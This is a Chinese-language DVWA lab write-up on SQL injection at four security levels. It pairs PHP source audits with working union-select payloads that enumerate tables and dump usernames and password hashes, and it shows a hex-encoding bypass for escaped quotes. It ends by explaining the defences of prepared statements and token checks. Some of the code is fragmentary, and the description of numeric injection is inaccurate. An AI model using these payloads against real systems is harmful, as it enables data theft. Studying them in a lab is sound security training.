SQL Injection,是指攻击者通过注入恶意的SQL命令,破坏SQL查询语句的。结构,从而达到执行恶意SQL语句的目的。
LOW:
代码审计:
' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '' );
ID: {$id}";
First name: {$first}
Surname: {$last}
ID: {$id}";
First name: {$first}
Surname: {$last}
由以上分析我们可以得知我们在注入式应采用字符注入的方式。
注意:
SQL 字符注入是指攻击者通过输入恶意字符来破坏应用程序的 SQL 语句。例如,攻击者可以通过在输入字段中插入单引号或其他特殊字符来欺骗应用程序生成不安全的 SQL 查询。攻击者可以利用这种漏洞来执行恶意的 SQL 代码,例如删除、修改或暴露数据库中的数据。
数字型注入类似于 SQL 字符注入,但攻击者试图输入恶意数字,而不是字符。例如,攻击者可以通过输入负数来欺骗应用程序生成不安全的算术计算。攻击者可以利用这种漏洞来执行恶意代码,例如在应用程序中进行溢出攻击,从而窃取数据。
漏洞利用:
(1)判断字段数。
我们使用order by 进行判断字段数, 至到order by 进行报错时候就是字段数。
1' or 1=1 order by 1 #
1' or 1=1 order by 2 #
1' or 1=1 order by 1 #
由上得知,字段数为2.
(2)确定显示的字段顺序
1' union select 1,2 #
(3)获取当前数据库
1' union select 1,database() #
(4)获取数据库中的表
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #
得到两张表guestbook,users
(5)获取字段名
1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #
说明users表中有8个字段,分别是user_id,first_name,last_name,user,password,avatar,last_login,failed_login。
(6)获取数据
1' or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #
信息获取结束,漏洞利用结束。
Medium:
代码审计:
SQL Injection Source vulnerabilities/sqli/source/medium.php php if( isset( $_POST[ 'Submit' ] ) ) { // Get input $id = $_POST[ 'id' ]; //使用 mysqli_real_escape_string() 函数来转义单引号和双引号等特殊字符 $id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id); switch ($_DVWA['SQLI_DB']) { case MYSQL: $query = "SELECT first_name, last_name FROM users WHERE user_id = $id;"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( '' . mysqli_error($GLOBALS["___mysqli_ston"]) . '' ); // Get results while( $row = mysqli_fetch_assoc( $result ) ) { // Display values $first = $row["first_name"]; $last = $row["last_name"]; // Feedback for end user echo "ID: {$id}"; } break; case SQLITE: global $sqlite_db_connection; $query = "SELECT first_name, last_name FROM users WHERE user_id = $id;"; #print $query; try { $results = $sqlite_db_connection->query($query); } catch (Exception $e) { echo 'Caught exception: ' . $e->getMessage(); exit(); } if ($results) { while ($row = $results->fetchArray()) { // Get values $first = $row["first_name"]; $last = $row["last_name"]; // Feedback for end user echo "
First name: {$first}
Surname: {$last}ID: {$id}"; } } else { echo "Error in fetch ".$sqlite_db->lastErrorMsg(); } break; } } // This is used later on in the index.php page // Setting it here so we can close the database connection in here like in the rest of the source scripts $query = "SELECT COUNT(*) FROM users;"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '
First name: {$first}
Surname: {$last}' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '' ); $number_of_rows = mysqli_fetch_row( $result )[0]; mysqli_close($GLOBALS["___mysqli_ston"]); ?>
同时我们发现在前端页面设置了下拉选择表单,控制用户输入。
漏洞利用:
虽然前端使用了下拉选择菜单,但我们依然可以通过抓包改参数,提交恶意构造的查询参数。
(1)判断注入类型
这里我们其实可以直接做出判断,我们在上面已经进行了代码审计,发现mysqli_real_escape_string()函数的存在,那么字符型注入肯定会遇到问题,我们直接进行数字型注入。
因为前端使用下拉菜单,所以我们得通过抓包修改参数。
(2)猜测字段数,确定回显字段顺序,获取当前数据库,获取数据库中的表
这四部分操作与Low级别差别不大,这里只附上相关语句
1 order by 3 #
1 union select 1,2 #
1 union select 1,database() #
1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #
(3)获取表中字段名
1 union select 1,group_concat(column_name) from information_schema.columns where table_name=’users ’#
我们按照原来的思路构建了语句,但是发生了错误,是因为单引号被转义,所以我们利用十六进制绕过。
1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 #
这里附上脚本
import binascii input_string = "users" # 待转换的字符串 # 使用 binascii 模块的 b2a_hex() 函数将字符串转换为十六进制格式 hex_string = binascii.b2a_hex(input_string.encode('utf-8')) print(hex_string) # 输出转换后的十六进制字符串
(4)获取数据
1 or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #
信息获取结束,漏洞利用结束。
High:
代码审计:
SQL Injection Source vulnerabilities/sqli/source/high.php php if( isset( $_SESSION [ 'id' ] ) ) { // Get input $id = $_SESSION[ 'id' ]; switch ($_DVWA['SQLI_DB']) { case MYSQL: // Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( 'Something went wrong.' ); // Get results while( $row = mysqli_fetch_assoc( $result ) ) { // Get values $first = $row["first_name"]; $last = $row["last_name"]; // Feedback for end user echo "ID: {$id}"; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); break; case SQLITE: global $sqlite_db_connection; $query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;"; #print $query; try { $results = $sqlite_db_connection->query($query); } catch (Exception $e) { echo 'Caught exception: ' . $e->getMessage(); exit(); } if ($results) { while ($row = $results->fetchArray()) { // Get values $first = $row["first_name"]; $last = $row["last_name"]; // Feedback for end user echo "
First name: {$first}
Surname: {$last}ID: {$id}"; } } else { echo "Error in fetch ".$sqlite_db->lastErrorMsg(); } break; } } ?>
First name: {$first}
Surname: {$last}
虽然添加了LIMIT 1,但是我们可以通过#将其注释掉。注入过程和之前类似,在这里不做额外演示。
Impossible:
代码审计:
SQL Injection Source vulnerabilities/sqli/source/impossible.php php if( isset( $_GET[ 'Submit' ] ) ) { // Check Anti-CSRF token //isset()用于检查变量是否已设置并且非 NULL。 checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); /*checkToken() 是一个自定义函数,用于检查传递的安全令牌是否有效,以确保请求不是恶意伪造的。 该函数接受三个参数: user_token:从用户请求中接收的安全令牌。 session_token:存储在用户会话中的安全令牌。 redirect:重定向的页面 URL。 该函数将首先检查 user_token 和 session_token 是否匹配。如果不匹配,则可能是 CSRF 攻击,该函数将终止脚本并打印错误消息。如果匹配,则函数将返回 true。 该函数通常用于处理任何可能受到 CSRF 攻击的操作(例如表单提交)。它是一种常见的安全技术,以确保请求来自预期的来源,并且用户已经授权执行请求的操作。*? */ // Get input $id = $_GET[ 'id' ]; // Was a number entered? //is_numeric用于检查一个值是否为数字或数字字符串。如果值为数字或数字字符串,则该函数返回 true,否则返回 false。 if(is_numeric( $id )) { $id = intval ($id); switch ($_DVWA['SQLI_DB']) { case MYSQL: // Check the database $data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' ); $data->bindParam( ':id', $id, PDO::PARAM_INT ); $data->execute(); $row = $data->fetch(); // Make sure only 1 result is returneda if( $data->rowCount() == 1 ) { // Get values $first = $row[ 'first_name' ]; $last = $row[ 'last_name' ]; // Feedback for end user echo "ID: {$id}"; } break; case SQLITE: global $sqlite_db_connection; $stmt = $sqlite_db_connection->prepare('SELECT first_name, last_name FROM users WHERE user_id = :id LIMIT 1;' ); $stmt->bindValue(':id',$id,SQLITE3_INTEGER); $result = $stmt->execute(); $result->finalize(); if ($result !== false) { // There is no way to get the number of rows returned // This checks the number of columns (not rows) just // as a precaution, but it won't stop someone dumping // multiple rows and viewing them one at a time. $num_columns = $result->numColumns(); if ($num_columns == 2) { $row = $result->fetchArray(); // Get values $first = $row[ 'first_name' ]; $last = $row[ 'last_name' ]; // Feedback for end user echo "
First name: {$first}
Surname: {$last}ID: {$id}"; } } break; } } } // Generate Anti-CSRF token generateSessionToken(); ?>
First name: {$first}
Surname: {$last}
同时这段代码也使用了PDO技术,划清了代码与数据的界限,有效防御SQL注入,同时只有返回的查询结果数量为一时,才会成功输出,这样就有效预防了“脱裤”,Anti-CSRFtoken机制的加入了进一步提高了安全性。
注:
PDO(PHP数据对象)是一种PHP扩展,它提供了一种抽象方式来访问数据库,而不必依赖于特定的数据库类型。PDO支持多种数据库类型,包括MySQL、SQLite、Oracle、PostgreSQL和SQL Server等。使用PDO可以实现更安全、更可移植和更灵活的数据访问,同时减少了对数据库的具体实现细节的依赖性。
使用PDO时,首先需要定义一个PDO连接对象,它包含有关数据库连接的信息,例如主机名、端口号、数据库名称、用户名和密码等。一旦建立连接,就可以通过执行SQL查询来访问数据库。PDO提供了一组方法来准备和执行查询,并返回结果集对象。可以使用绑定变量来防止SQL注入攻击,并使用PDO事务来确保数据操作的原子性和一致性。
总之,PDO技术提供了一个更安全、更灵活和更可移植的数据库访问解决方案,可以帮助开发人员编写更健壮和可维护的PHP应用程序。